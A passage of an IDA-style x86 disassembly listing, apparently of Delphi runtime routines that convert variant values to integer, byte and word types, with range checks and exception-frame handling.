		mov	[ebp+var_8], eax
		jmp	loc_4000F1A7
; ---------------------------------------------------------------------------


loc_4000F04C:				; CODE XREF: sub_4000ED90+250j
					; DATA XREF: sub_4000ED90:off_4000EFE7o
		mov	eax, [ebp+var_4] ; jumptable 4000EFE0 case 3
		mov	eax, [eax+8]
		mov	eax, [eax]
		mov	[ebp+var_8], eax
		jmp	loc_4000F1A7
; ---------------------------------------------------------------------------


loc_4000F05C:				; CODE XREF: sub_4000ED90+250j
					; DATA XREF: sub_4000ED90:off_4000EFE7o
		mov	eax, [ebp+var_4] ; jumptable 4000EFE0 case 4
		mov	eax, [eax+8]
		fld	dword ptr [eax]
		call	sub_400030A8
		push	eax
		sar	eax, 1Fh
		cmp	eax, edx
		pop	eax
		jz	short loc_4000F077
		call	sub_40003C64
; ---------------------------------------------------------------------------


loc_4000F077:				; CODE XREF: sub_4000ED90+2E0j
		mov	[ebp+var_8], eax
		jmp	loc_4000F1A7
; ---------------------------------------------------------------------------


loc_4000F07F:				; CODE XREF: sub_4000ED90+250j
					; DATA XREF: sub_4000ED90:off_4000EFE7o
		mov	eax, [ebp+var_4] ; jumptable 4000EFE0 case 5
		mov	eax, [eax+8]
		fld	qword ptr [eax]
		call	sub_400030A8
		push	eax
		sar	eax, 1Fh
		cmp	eax, edx
		pop	eax
		jz	short loc_4000F09A
		call	sub_40003C64
; ---------------------------------------------------------------------------


loc_4000F09A:				; CODE XREF: sub_4000ED90+303j
		mov	[ebp+var_8], eax
		jmp	loc_4000F1A7
; ---------------------------------------------------------------------------


loc_4000F0A2:				; CODE XREF: sub_4000ED90+250j
					; DATA XREF: sub_4000ED90:off_4000EFE7o
		mov	eax, [ebp+var_4] ; jumptable 4000EFE0 case 6
		mov	eax, [eax+8]
		fild	qword ptr [eax]
		fdiv	ds:flt_4000F1DC
		call	sub_400030A8
		push	eax
		sar	eax, 1Fh
		cmp	eax, edx
		pop	eax
		jz	short loc_4000F0C3
		call	sub_40003C64
; ---------------------------------------------------------------------------


loc_4000F0C3:				; CODE XREF: sub_4000ED90+32Cj
		mov	[ebp+var_8], eax
		jmp	loc_4000F1A7
; ---------------------------------------------------------------------------


loc_4000F0CB:				; CODE XREF: sub_4000ED90+250j
					; DATA XREF: sub_4000ED90:off_4000EFE7o
		mov	eax, [ebp+var_4] ; jumptable 4000EFE0 case 7
		mov	eax, [eax+8]
		fld	qword ptr [eax]
		call	sub_400030A8
		push	eax
		sar	eax, 1Fh
		cmp	eax, edx
		pop	eax
		jz	short loc_4000F0E6
		call	sub_40003C64
; ---------------------------------------------------------------------------


loc_4000F0E6:				; CODE XREF: sub_4000ED90+34Fj
		mov	[ebp+var_8], eax
		jmp	loc_4000F1A7
; ---------------------------------------------------------------------------


loc_4000F0EE:				; CODE XREF: sub_4000ED90+250j
					; DATA XREF: sub_4000ED90:off_4000EFE7o
		mov	eax, [ebp+var_4] ; jumptable 4000EFE0 case 8
		call	sub_4000EBF8
		mov	[ebp+var_8], eax
		jmp	loc_4000F1A7
; ---------------------------------------------------------------------------


loc_4000F0FE:				; CODE XREF: sub_4000ED90+250j
					; DATA XREF: sub_4000ED90:off_4000EFE7o
		mov	eax, [ebp+var_4] ; jumptable 4000EFE0 case 11
		mov	eax, [eax+8]
		movsx	eax, word ptr [eax]
		mov	[ebp+var_8], eax
		jmp	loc_4000F1A7
; ---------------------------------------------------------------------------


loc_4000F10F:				; CODE XREF: sub_4000ED90+250j
					; DATA XREF: sub_4000ED90:off_4000EFE7o
		mov	eax, [ebp+var_4] ; jumptable 4000EFE0 case 16
		mov	eax, [eax+8]
		movsx	eax, byte ptr [eax]
		mov	[ebp+var_8], eax
		jmp	loc_4000F1A7
; ---------------------------------------------------------------------------


loc_4000F120:				; CODE XREF: sub_4000ED90+250j
					; DATA XREF: sub_4000ED90:off_4000EFE7o
		mov	eax, [ebp+var_4] ; jumptable 4000EFE0 case 17
		mov	eax, [eax+8]
		movzx	eax, byte ptr [eax]
		mov	[ebp+var_8], eax
		jmp	short loc_4000F1A7
; ---------------------------------------------------------------------------


loc_4000F12E:				; CODE XREF: sub_4000ED90+250j
					; DATA XREF: sub_4000ED90:off_4000EFE7o
		mov	eax, [ebp+var_4] ; jumptable 4000EFE0 case 18
		mov	eax, [eax+8]
		movzx	eax, word ptr [eax]
		mov	[ebp+var_8], eax
		jmp	short loc_4000F1A7
; ---------------------------------------------------------------------------


loc_4000F13C:				; CODE XREF: sub_4000ED90+250j
					; DATA XREF: sub_4000ED90:off_4000EFE7o
		mov	eax, [ebp+var_4] ; jumptable 4000EFE0 case 19
		mov	eax, [eax+8]
		mov	eax, [eax]
		test	eax, eax
		jns	short loc_4000F14D
		call	sub_40003C64
; ---------------------------------------------------------------------------


loc_4000F14D:				; CODE XREF: sub_4000ED90+3B6j
		mov	[ebp+var_8], eax
		jmp	short loc_4000F1A7
; ---------------------------------------------------------------------------


loc_4000F152:				; CODE XREF: sub_4000ED90+250j
					; DATA XREF: sub_4000ED90:off_4000EFE7o
		mov	eax, [ebp+var_4] ; jumptable 4000EFE0 case 20
		mov	eax, [eax+8]
		mov	edx, [eax+4]
		mov	eax, [eax]
		push	eax
		sar	eax, 1Fh
		cmp	eax, edx
		pop	eax
		jz	short loc_4000F16B
		call	sub_40003C64
; ---------------------------------------------------------------------------


loc_4000F16B:				; CODE XREF: sub_4000ED90+3D4j
		mov	[ebp+var_8], eax
		jmp	short loc_4000F1A7
; ---------------------------------------------------------------------------


loc_4000F170:				; CODE XREF: sub_4000ED90+250j
					; DATA XREF: sub_4000ED90:off_4000EFE7o
		mov	eax, [ebp+var_4] ; jumptable 4000EFE0 case 12
		mov	eax, [eax+8]
		call	sub_4000ED90
		mov	[ebp+var_8], eax
		jmp	short loc_4000F1A7
; ---------------------------------------------------------------------------


loc_4000F180:				; CODE XREF: sub_4000ED90+24Aj
					; sub_4000ED90+250j
					; DATA XREF: ...
		mov	eax, [ebp+var_4] ; default
					; jumptable 4000EFE0 cases 0,1,9,10,13-15
		call	sub_4000ECAC
		mov	[ebp+var_8], eax
		jmp	short loc_4000F1A7
; ---------------------------------------------------------------------------


loc_4000F18D:				; CODE XREF: sub_4000ED90+236j
		lea	edx, [ebp+var_8]
		mov	eax, [ebp+var_4]
		call	sub_4000ED4C
		test	al, al
		jnz	short loc_4000F1A7
		mov	eax, [ebp+var_4]
		call	sub_4000ECAC
		mov	[ebp+var_8], eax


loc_4000F1A7:				; CODE XREF: sub_4000ED90+8Cj
					; sub_4000ED90+ACj ...
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		jmp	short loc_4000F1CF
; ---------------------------------------------------------------------------


loc_4000F1B1:				; DATA XREF: sub_4000ED90+Fo
		jmp	sub_400040D8
; ---------------------------------------------------------------------------
		mov	eax, [ebp+var_4]
		movzx	eax, word ptr [eax]
		mov	dx, 3
		call	sub_4000E068
		xor	eax, eax
		mov	[ebp+var_8], eax
		call	sub_40004360


loc_4000F1CF:				; CODE XREF: sub_4000ED90+41Fj
		mov	eax, [ebp+var_8]
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_4000ED90	endp

; ---------------------------------------------------------------------------
		align 4
flt_4000F1DC	dd 1.0e4		; DATA XREF: sub_4000ED90+116r
					; sub_4000ED90+31Ar

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4000F1E0	proc near		; CODE XREF: sub_4000E9CC+187p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		movzx	eax, word ptr [eax]
		sub	ax, 1
		jb	short loc_4000F206
		jz	short loc_4000F20A
		sub	ax, 0Ah
		jz	short loc_4000F224
		sub	ax, 5
		jz	short loc_4000F22D
		jmp	short loc_4000F236
; ---------------------------------------------------------------------------


loc_4000F206:				; CODE XREF: sub_4000F1E0+14j
		xor	ebx, ebx
		jmp	short loc_4000F289
; ---------------------------------------------------------------------------


loc_4000F20A:				; CODE XREF: sub_4000F1E0+16j
		cmp	byte_4001AA10, 0
		jz	short loc_4000F220
		mov	dx, 10h
		mov	ax, 1
		call	sub_4000DBF4


loc_4000F220:				; CODE XREF: sub_4000F1E0+31j
		xor	ebx, ebx
		jmp	short loc_4000F289
; ---------------------------------------------------------------------------


loc_4000F224:				; CODE XREF: sub_4000F1E0+1Cj
		mov	ebx, [ebp+var_4]
		movzx	ebx, byte ptr [ebx+8]
		jmp	short loc_4000F289
; ---------------------------------------------------------------------------


loc_4000F22D:				; CODE XREF: sub_4000F1E0+22j
		mov	ebx, [ebp+var_4]
		movzx	ebx, byte ptr [ebx+8]
		jmp	short loc_4000F289
; ---------------------------------------------------------------------------


loc_4000F236:				; CODE XREF: sub_4000F1E0+24j
		xor	eax, eax
		push	ebp
		push	offset loc_4000F26E
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, [ebp+var_4]
		call	sub_4000ED90
		mov	ebx, eax
		add	ebx, 80h
		cmp	ebx, 0FFh
		jbe	short loc_4000F261
		call	sub_40003C64
; ---------------------------------------------------------------------------


loc_4000F261:				; CODE XREF: sub_4000F1E0+7Aj
		add	ebx, 0FFFFFF80h
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		jmp	short loc_4000F289
; ---------------------------------------------------------------------------


loc_4000F26E:				; DATA XREF: sub_4000F1E0+59o
		jmp	sub_400040D8
; ---------------------------------------------------------------------------
		mov	eax, [ebp+var_4]
		movzx	eax, word ptr [eax]
		mov	dx, 10h
		call	sub_4000E068
		xor	ebx, ebx
		call	sub_40004360


loc_4000F289:				; CODE XREF: sub_4000F1E0+28j
					; sub_4000F1E0+42j ...
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ebp
		retn
sub_4000F1E0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4000F294	proc near		; CODE XREF: sub_4000E9CC+19Cp

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		movzx	eax, word ptr [eax]
		sub	ax, 1
		jb	short loc_4000F2BA
		jz	short loc_4000F2BE
		sub	ax, 0Ah
		jz	short loc_4000F2D8
		sub	ax, 6
		jz	short loc_4000F2E1
		jmp	short loc_4000F2EA
; ---------------------------------------------------------------------------


loc_4000F2BA:				; CODE XREF: sub_4000F294+14j
		xor	ebx, ebx
		jmp	short loc_4000F334
; ---------------------------------------------------------------------------


loc_4000F2BE:				; CODE XREF: sub_4000F294+16j
		cmp	byte_4001AA10, 0
		jz	short loc_4000F2D4
		mov	dx, 11h
		mov	ax, 1
		call	sub_4000DBF4


loc_4000F2D4:				; CODE XREF: sub_4000F294+31j
		xor	ebx, ebx
		jmp	short loc_4000F334
; ---------------------------------------------------------------------------


loc_4000F2D8:				; CODE XREF: sub_4000F294+1Cj
		mov	ebx, [ebp+var_4]
		movzx	ebx, byte ptr [ebx+8]
		jmp	short loc_4000F334
; ---------------------------------------------------------------------------


loc_4000F2E1:				; CODE XREF: sub_4000F294+22j
		mov	ebx, [ebp+var_4]
		movzx	ebx, byte ptr [ebx+8]
		jmp	short loc_4000F334
; ---------------------------------------------------------------------------


loc_4000F2EA:				; CODE XREF: sub_4000F294+24j
		xor	eax, eax
		push	ebp
		push	offset loc_4000F319
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, [ebp+var_4]
		call	sub_4000ED90
		mov	ebx, eax
		cmp	ebx, 0FFh
		jbe	short loc_4000F30F
		call	sub_40003C64
; ---------------------------------------------------------------------------


loc_4000F30F:				; CODE XREF: sub_4000F294+74j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		jmp	short loc_4000F334
; ---------------------------------------------------------------------------


loc_4000F319:				; DATA XREF: sub_4000F294+59o
		jmp	sub_400040D8
; ---------------------------------------------------------------------------
		mov	eax, [ebp+var_4]
		movzx	eax, word ptr [eax]
		mov	dx, 11h
		call	sub_4000E068
		xor	ebx, ebx
		call	sub_40004360


loc_4000F334:				; CODE XREF: sub_4000F294+28j
					; sub_4000F294+42j ...
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ebp
		retn
sub_4000F294	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4000F33C	proc near		; CODE XREF: sub_4000E9CC+D2p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		movzx	eax, word ptr [eax]
		cmp	eax, 11h	; switch 18 cases
		ja	loc_4000F3D6	; default
					; jumptable 4000F35C cases 3-10,12-15
		movzx	eax, ds:byte_4000F363[eax]
		jmp	ds:off_4000F375[eax*4] ; switch	jump
; ---------------------------------------------------------------------------
byte_4000F363	db	1,     2,     3,     0 ; DATA XREF: sub_4000F33C+19r
		db	0,     0,     0,     0 ; indirect table	for switch statement
		db	0,     0,     0,     4
		db	0,     0,     0,     0
		db	5,     6
off_4000F375	dd offset loc_4000F3D6	; DATA XREF: sub_4000F33C+20r
		dd offset loc_4000F391	; jump table for switch	statement
		dd offset loc_4000F398
		dd offset loc_4000F3B2
		dd offset loc_4000F3BB
		dd offset loc_4000F3C4
		dd offset loc_4000F3CD
; ---------------------------------------------------------------------------


loc_4000F391:				; CODE XREF: sub_4000F33C+20j
					; DATA XREF: sub_4000F33C:off_4000F375o
		xor	ebx, ebx	; jumptable 4000F35C case 0
		jmp	loc_4000F42C
; ---------------------------------------------------------------------------


loc_4000F398:				; CODE XREF: sub_4000F33C+20j
					; DATA XREF: sub_4000F33C:off_4000F375o
		cmp	byte_4001AA10, 0 ; jumptable 4000F35C case 1
		jz	short loc_4000F3AE
		mov	dx, 2
		mov	ax, 1
		call	sub_4000DBF4


loc_4000F3AE:				; CODE XREF: sub_4000F33C+63j
		xor	ebx, ebx
		jmp	short loc_4000F42C
; ---------------------------------------------------------------------------


loc_4000F3B2:				; CODE XREF: sub_4000F33C+20j
					; DATA XREF: sub_4000F33C:off_4000F375o
		mov	ebx, [ebp+var_4] ; jumptable 4000F35C case 2
		movzx	ebx, word ptr [ebx+8]
		jmp	short loc_4000F42C
; ---------------------------------------------------------------------------


loc_4000F3BB:				; CODE XREF: sub_4000F33C+20j
					; DATA XREF: sub_4000F33C:off_4000F375o
		mov	ebx, [ebp+var_4] ; jumptable 4000F35C case 11
		movzx	ebx, word ptr [ebx+8]
		jmp	short loc_4000F42C
; ---------------------------------------------------------------------------


loc_4000F3C4:				; CODE XREF: sub_4000F33C+20j
					; DATA XREF: sub_4000F33C:off_4000F375o
		mov	ebx, [ebp+var_4] ; jumptable 4000F35C case 16
		movsx	ebx, byte ptr [ebx+8]
		jmp	short loc_4000F42C
; ---------------------------------------------------------------------------


loc_4000F3CD:				; CODE XREF: sub_4000F33C+20j
					; DATA XREF: sub_4000F33C:off_4000F375o
		mov	ebx, [ebp+var_4] ; jumptable 4000F35C case 17
		movzx	ebx, byte ptr [ebx+8]
		jmp	short loc_4000F42C
; ---------------------------------------------------------------------------


loc_4000F3D6:				; CODE XREF: sub_4000F33C+13j
					; sub_4000F33C+20j
					; DATA XREF: ...
		xor	eax, eax	; default
					; jumptable 4000F35C cases 3-10,12-15
		push	ebp
		push	offset loc_4000F411
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, [ebp+var_4]
		call	sub_4000ED90
		mov	ebx, eax
		add	ebx, 8000h
		cmp	ebx, 0FFFFh
		jbe	short loc_4000F401
		call	sub_40003C64
; ---------------------------------------------------------------------------


loc_4000F401:				; CODE XREF: sub_4000F33C+BEj
		add	ebx, 0FFFF8000h
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		jmp	short loc_4000F42C
; ---------------------------------------------------------------------------


loc_4000F411:				; DATA XREF: sub_4000F33C+9Do
		jmp	sub_400040D8
; ---------------------------------------------------------------------------
		mov	eax, [ebp+var_4]
		movzx	eax, word ptr [eax]
		mov	dx, 2
		call	sub_4000E068
		xor	ebx, ebx
		call	sub_40004360


loc_4000F42C:				; CODE XREF: sub_4000F33C+57j
					; sub_4000F33C+74j ...
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ebp
		retn
sub_4000F33C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4000F434	proc near		; CODE XREF: sub_4000E9CC+1AEp

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		movzx	eax, word ptr [eax]
		cmp	eax, 12h	; switch 19 cases
		ja	short loc_4000F4BB ; default
					; jumptable 4000F450 cases 2-10,12-16
		movzx	eax, ds:byte_4000F457[eax]
		jmp	ds:off_4000F46A[eax*4] ; switch	jump
; ---------------------------------------------------------------------------
byte_4000F457	db	1,     2,     0,     0 ; DATA XREF: sub_4000F434+15r
		db	0,     0,     0,     0 ; indirect table	for switch statement
		db	0,     0,     0,     3
		db	0,     0,     0,     0
		db	0,     4,     5
off_4000F46A	dd offset loc_4000F4BB	; DATA XREF: sub_4000F434+1Cr
		dd offset loc_4000F482	; jump table for switch	statement
		dd offset loc_4000F486
		dd offset loc_4000F4A0
		dd offset loc_4000F4A9
		dd offset loc_4000F4B2
; ---------------------------------------------------------------------------


loc_4000F482:				; CODE XREF: sub_4000F434+1Cj
					; DATA XREF: sub_4000F434:off_4000F46Ao
		xor	ebx, ebx	; jumptable 4000F450 case 0
		jmp	short loc_4000F505
; ---------------------------------------------------------------------------


loc_4000F486:				; CODE XREF: sub_4000F434+1Cj
					; DATA XREF: sub_4000F434:off_4000F46Ao
		cmp	byte_4001AA10, 0 ; jumptable 4000F450 case 1
		jz	short loc_4000F49C
		mov	dx, 12h
		mov	ax, 1
		call	sub_4000DBF4


loc_4000F49C:				; CODE XREF: sub_4000F434+59j
		xor	ebx, ebx
		jmp	short loc_4000F505
; ---------------------------------------------------------------------------


loc_4000F4A0:				; CODE XREF: sub_4000F434+1Cj
					; DATA XREF: sub_4000F434:off_4000F46Ao
		mov	ebx, [ebp+var_4] ; jumptable 4000F450 case 11
		movzx	ebx, word ptr [ebx+8]
		jmp	short loc_4000F505
; ---------------------------------------------------------------------------


loc_4000F4A9:				; CODE XREF: sub_4000F434+1Cj
					; DATA XREF: sub_4000F434:off_4000F46Ao
		mov	ebx, [ebp+var_4] ; jumptable 4000F450 case 17
		movzx	ebx, byte ptr [ebx+8]
		jmp	short loc_4000F505
; ---------------------------------------------------------------------------


loc_4000F4B2:				; CODE XREF: sub_4000F434+1Cj
					; DATA XREF: sub_4000F434:off_4000F46Ao
		mov	ebx, [ebp+var_4] ; jumptable 4000F450 case 18
		movzx	ebx, word ptr [ebx+8]
		jmp	short loc_4000F505
; ---------------------------------------------------------------------------


loc_4000F4BB:				; CODE XREF: sub_4000F434+13j
					; sub_4000F434+1Cj
					; DATA XREF: ...
		xor	eax, eax	; default
					; jumptable 4000F450 cases 2-10,12-16
		push	ebp
		push	offset loc_4000F4EA
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, [ebp+var_4]
		call	sub_4000ED90
		mov	ebx, eax
		cmp	ebx, 0FFFFh
		jbe	short loc_4000F4E0
		call	sub_40003C64
; ---------------------------------------------------------------------------


loc_4000F4E0:				; CODE XREF: sub_4000F434+A5j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		jmp	short loc_4000F505
; ---------------------------------------------------------------------------


loc_4000F4EA:				; DATA XREF: sub_4000F434+8Ao
		jmp	sub_400040D8
; ---------------------------------------------------------------------------
		mov	eax, [ebp+var_4]
		movzx	eax, word ptr [eax]
		mov	dx, 12h
		call	sub_4000E068
		xor	ebx, ebx
		call	sub_40004360


loc_4000F505:				; CODE XREF: sub_4000F434+50j
					; sub_4000F434+6Aj ...
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ebp
		retn
sub_4000F434	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4000F510	proc near		; CODE XREF: sub_4000E9CC+1C0p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		movzx	eax, word ptr [eax]
		cmp	eax, 13h	; switch 20 cases
		ja	loc_4000F5AB	; default
					; jumptable 4000F530 cases 2-10,12-16
		movzx	eax, ds:byte_4000F537[eax]
		jmp	ds:off_4000F54B[eax*4] ; switch	jump
; ---------------------------------------------------------------------------
byte_4000F537	db	1,     2,     0,     0 ; DATA XREF: sub_4000F510+19r
		db	0,     0,     0,     0 ; indirect table	for switch statement
		db	0,     0,     0,     3
		db	0,     0,     0,     0
		db	0,     4,     5,     6
off_4000F54B	dd offset loc_4000F5AB	; DATA XREF: sub_4000F510+20r
		dd offset loc_4000F567	; jump table for switch	statement
		dd offset loc_4000F56E
		dd offset loc_4000F588
		dd offset loc_4000F591
		dd offset loc_4000F59A
		dd offset loc_4000F5A3
; ---------------------------------------------------------------------------


loc_4000F567:				; CODE XREF: sub_4000F510+20j
					; DATA XREF: sub_4000F510:off_4000F54Bo
		xor	ebx, ebx	; jumptable 4000F530 case 0
		jmp	loc_4000F5F1
; ---------------------------------------------------------------------------


loc_4000F56E:				; CODE XREF: sub_4000F510+20j
					; DATA XREF: sub_4000F510:off_4000F54Bo
		cmp	byte_4001AA10, 0 ; jumptable 4000F530 case 1
		jz	short loc_4000F584
		mov	dx, 13h
		mov	ax, 1
		call	sub_4000DBF4


loc_4000F584:				; CODE XREF: sub_4000F510+65j
		xor	ebx, ebx
		jmp	short loc_4000F5F1
; ---------------------------------------------------------------------------


loc_4000F588:				; CODE XREF: sub_4000F510+20j
					; DATA XREF: sub_4000F510:off_4000F54Bo
		mov	ebx, [ebp+var_4] ; jumptable 4000F530 case 11
		movsx	ebx, word ptr [ebx+8]
		jmp	short loc_4000F5F1
; ---------------------------------------------------------------------------


loc_4000F591:				; CODE XREF: sub_4000F510+20j
					; DATA XREF: sub_4000F510:off_4000F54Bo
		mov	ebx, [ebp+var_4] ; jumptable 4000F530 case 17
		movzx	ebx, byte ptr [ebx+8]
		jmp	short loc_4000F5F1
; ---------------------------------------------------------------------------


loc_4000F59A:				; CODE XREF: sub_4000F510+20j
					; DATA XREF: sub_4000F510:off_4000F54Bo
		mov	ebx, [ebp+var_4] ; jumptable 4000F530 case 18
		movzx	ebx, word ptr [ebx+8]
		jmp	short loc_4000F5F1
; ---------------------------------------------------------------------------


loc_4000F5A3:				; CODE XREF: sub_4000F510+20j
					; DATA XREF: sub_4000F510:off_4000F54Bo
		mov	ebx, [ebp+var_4] ; jumptable 4000F530 case 19
		mov	ebx, [ebx+8]
		jmp	short loc_4000F5F1
; ---------------------------------------------------------------------------


loc_4000F5AB:				; CODE XREF: sub_4000F510+13j
					; sub_4000F510+20j
					; DATA XREF: ...
		xor	eax, eax	; default
					; jumptable 4000F530 cases 2-10,12-16
		push	ebp
		push	offset loc_4000F5D6
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, [ebp+var_4]
		call	sub_4000F860
		test	edx, edx
		jz	short loc_4000F5CA
		call	sub_40003C64
; ---------------------------------------------------------------------------


loc_4000F5CA:				; CODE XREF: sub_4000F510+B3j
		mov	ebx, eax
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		jmp	short loc_4000F5F1
; ---------------------------------------------------------------------------


loc_4000F5D6:				; DATA XREF: sub_4000F510+9Eo
		jmp	sub_400040D8
; ---------------------------------------------------------------------------
		mov	eax, [ebp+var_4]
		movzx	eax, word ptr [eax]
		mov	dx, 13h
		call	sub_4000E068
		xor	ebx, ebx
		call	sub_40004360


loc_4000F5F1:				; CODE XREF: sub_4000F510+59j
					; sub_4000F510+76j ...
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ebp
		retn
sub_4000F510	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4000F5FC	proc near		; CODE XREF: sub_4000F860+1E7p
					; sub_4000F860+3D8p ...

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_C		= qword	ptr -0Ch

		push	ebx
		add	esp, 0FFFFFFE8h
		mov	ebx, eax
		lea	eax, [esp+1Ch+var_14]
		push	eax
		call	sub_4000CDD8
		push	3
		push	0
		push	400h
		push	ebx
		lea	eax, [esp+2Ch+var_14]
		push	eax
		mov	eax, off_4001B064
		mov	eax, [eax]
		call	eax
		test	eax, eax
		jnz	short loc_4000F636
		mov	eax, dword ptr [esp+1Ch+var_C]
		cdq
		mov	[esp+1Ch+var_1C], eax
		mov	[esp+1Ch+var_18], edx
		jmp	short loc_4000F69B
; ---------------------------------------------------------------------------


loc_4000F636:				; CODE XREF: sub_4000F5FC+2Aj
		push	5
		push	0
		push	400h
		push	ebx
		lea	eax, [esp+2Ch+var_14]
		push	eax
		mov	eax, off_4001B064
		mov	eax, [eax]
		call	eax
		test	eax, eax
		jnz	short loc_4000F664
		fld	[esp+1Ch+var_C]
		call	sub_400030A8
		mov	[esp+1Ch+var_1C], eax
		mov	[esp+1Ch+var_18], edx
		jmp	short loc_4000F69B
; ---------------------------------------------------------------------------


loc_4000F664:				; CODE XREF: sub_4000F5FC+54j
		cmp	eax, 80020005h
		jnz	short loc_4000F680
		mov	eax, ebx
		call	sub_4000FE58
		and	eax, 7Fh
		xor	edx, edx
		mov	[esp+1Ch+var_1C], eax
		mov	[esp+1Ch+var_18], edx
		jmp	short loc_4000F69B
; ---------------------------------------------------------------------------


loc_4000F680:				; CODE XREF: sub_4000F5FC+6Dj
		movzx	edx, word ptr [ebx]
		mov	cx, 14h
		call	sub_4000E034
		mov	[esp+1Ch+var_1C], 0
		mov	[esp+1Ch+var_18], 0


loc_4000F69B:				; CODE XREF: sub_4000F5FC+38j
					; sub_4000F5FC+66j ...
		mov	eax, [esp+1Ch+var_1C]
		mov	edx, [esp+1Ch+var_18]
		add	esp, 18h
		pop	ebx
		retn
sub_4000F5FC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4000F6A8	proc near		; CODE XREF: sub_4000F860+149p
					; sub_4000F860+20Dp ...

var_24		= dword	ptr -24h
var_20		= qword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFDCh
		push	ebx
		xor	edx, edx
		mov	[ebp+var_24], edx
		mov	[ebp+var_4], edx
		mov	ebx, eax
		xor	eax, eax
		push	ebp
		push	offset loc_4000F796
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	edx, ebx
		lea	eax, [ebp+var_4]
		call	sub_40011DFC
		lea	eax, [ebp+var_24]
		mov	edx, [ebp+var_4]
		call	sub_40004B0C
		mov	eax, [ebp+var_24]
		lea	edx, [ebp+var_10]
		call	sub_40007E0C
		test	al, al
		jnz	loc_4000F778
		lea	eax, [ebp+var_14]
		push	eax
		push	0
		push	400h
		mov	eax, [ebp+var_4]
		push	eax
		mov	eax, off_4001B0B0
		mov	eax, [eax]
		call	eax
		test	eax, eax
		jnz	short loc_4000F717
		mov	eax, [ebp+var_14]
		cdq
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], edx
		jmp	short loc_4000F778
; ---------------------------------------------------------------------------


loc_4000F717:				; CODE XREF: sub_4000F6A8+61j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		push	400h
		mov	eax, [ebp+var_4]
		push	eax
		mov	eax, off_4001AFF0
		mov	eax, [eax]
		call	eax
		test	eax, eax
		jnz	short loc_4000F743
		fld	[ebp+var_20]
		call	sub_400030A8
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], edx
		jmp	short loc_4000F778
; ---------------------------------------------------------------------------


loc_4000F743:				; CODE XREF: sub_4000F6A8+89j
		cmp	eax, 80020005h
		jnz	short loc_4000F75E
		mov	eax, ebx
		call	sub_4000FE58
		and	eax, 7Fh
		xor	edx, edx
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], edx
		jmp	short loc_4000F778
; ---------------------------------------------------------------------------


loc_4000F75E:				; CODE XREF: sub_4000F6A8+A0j
		movzx	edx, word ptr [ebx]
		mov	cx, 14h
		call	sub_4000E034
		mov	[ebp+var_10], 0
		mov	[ebp+var_C], 0


loc_4000F778:				; CODE XREF: sub_4000F6A8+41j
					; sub_4000F6A8+6Dj ...
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4000F79D


loc_4000F785:				; CODE XREF: sub_4000F6A8+F3j
		lea	eax, [ebp+var_24]
		call	sub_40004884
		lea	eax, [ebp+var_4]
		call	sub_40005008
		retn
; ---------------------------------------------------------------------------


loc_4000F796:				; DATA XREF: sub_4000F6A8+14o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_4000F785
; ---------------------------------------------------------------------------


